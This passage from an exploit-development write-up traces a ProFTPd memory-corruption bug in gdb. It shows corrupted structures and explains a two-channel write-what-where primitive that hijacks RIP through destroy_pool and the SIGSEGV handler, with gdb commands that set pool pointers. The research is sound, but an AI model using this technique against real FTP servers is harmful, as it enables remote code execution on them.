text stringlengths 0 1.99k |
|---|
Continuing. |
str.c:278 sstrncpy(res=0x5555556b56d8, str=426, len=4 |
str.c:278 sstrncpy(res=0x5555556b56e0, str=Transfer aborted. Data |
connection closed, len=41 |
str.c:278 sstrncpy(res=0x5555556887a0, str=426, len=4 |
str.c:278 sstrncpy(res=0x5555556887a8, str=Transfer aborted. Data |
connection closed, len=41 |
str.c:278 sstrncpy(res=0x5555556b5710, str=426, len=4 |
str.c:278 sstrncpy(res=0x5555556b5718, str=Transfer aborted. Data |
connection closed, len=41 |
str.c:278 sstrncpy(res=0x5555556887d8, str=426, len=4 |
str.c:278 sstrncpy(res=0x5555556887e0, str=Transfer aborted. Data |
connection closed, len=41 |
@mentebinaria showed me this very nice trick in gdb: dprintf, which is |
dynamic printf. dprintf is a very handy gdb feature that allow us to |
dynamically print the value of variables without stopping at a specific |
line, or add ugly printf() in the source code. |
We're watching every time sstrncpy() copies the strings and commands so we |
can see the memory addresses. A first crash occurs in table.c:946: |
gef➤ p *tab |
$92 = { |
pool = 0x555500363234, |
flags = 0x726566736e617254, |
seed = 0x6f626120, |
nmaxents = 0x64657472, |
chains = 0x632061746144202e, |
nchains = 0x656e6e6f, |
nents = 0x6f697463, |
free_ents = 0x6465736f6c63206e, |
free_keys = 0x0, |
tab_iter_ent = 0x363234, |
val_iter_ent = 0x726566736e617254, |
cache_ent = 0x646574726f626120, |
keycmp = 0x632061746144202e, |
keyhash = 0x6f697463656e6e6f, |
entinsert = 0x6465736f6c63206e, |
entremove = 0x555555579f00 <entry_insert+79> |
} |
gef➤ x/s tab |
0x5555556b56d8: "426" |
gef➤ |
0x5555556b56dc: "UU" |
gef➤ |
0x5555556b56df: "" |
gef➤ |
0x5555556b56e0: "Transfer aborted. Data connection closed" |
gef➤ |
In the output, you can see that the structure was corrupted, but we haven't |
yet reached the part of memory where our FTP command resides. So, we need |
to adjust some structure members to prevent the process from crashing. |
Before we go any further, some explanation is required. |
The reason I chose to combine the payload sent through the FTP command |
channel with the payload coming from the FTP data connection is to achieve |
a write-what-where primitive. The execution flow we gain from the data |
connection alone, and the memory it allows us to control, aren't sufficient |
to hijack the program's control flow - at least, I couldn't find a way to |
do so reliably. By combining these two channels and maintaining control |
over where ProFTPd writes its error messages (i.e., which memory blocks are |
used), we create a critical setup for successful exploitation. |
Additionally, ProFTPd installs a sigaction handler. When a SIGSEGV occurs, |
execution flow is redirected to a path defined by this handler. As we |
observed earlier, if we continue controlling the memory pools, we don't get |
a clear opportunity to take over execution. So, the idea is to take |
advantage of the new code path triggered by the signal handler, without |
allowing ProFTPd to lose or discard the memory state we've manipulated up |
to that point. This way, our payload and its data remain intact during |
exploitation. |
In summary, we use two data channels to leverage a write-what-where |
primitive to gain control over RIP. |
gef➤ set p->last = &p->cleanups |
gef➤ set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 |
gef➤ set p->sub_next = ((char *)&gid_tab->chains) + 0x18 - 0xe0 |
gef➤ c |
Although I chose destroy_pool as the path to achieve remote code execution, |
there are other structures that could also be used to gain control over |
RIP through function pointers. In the very first proof-of-concept, I was |
using a table_rec structure, which session.curr_cmd_rec->notes points to. |
The structure is defined as follows: |
struct table_rec { |
pool *pool; |
unsigned long flags; |
unsigned int seed; |
unsigned int nmaxents; |
pr_table_entry_t **chains; |
unsigned int nchains; |
unsigned int nents; |
pr_table_entry_t *free_ents; |
pr_table_key_t *free_keys; |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.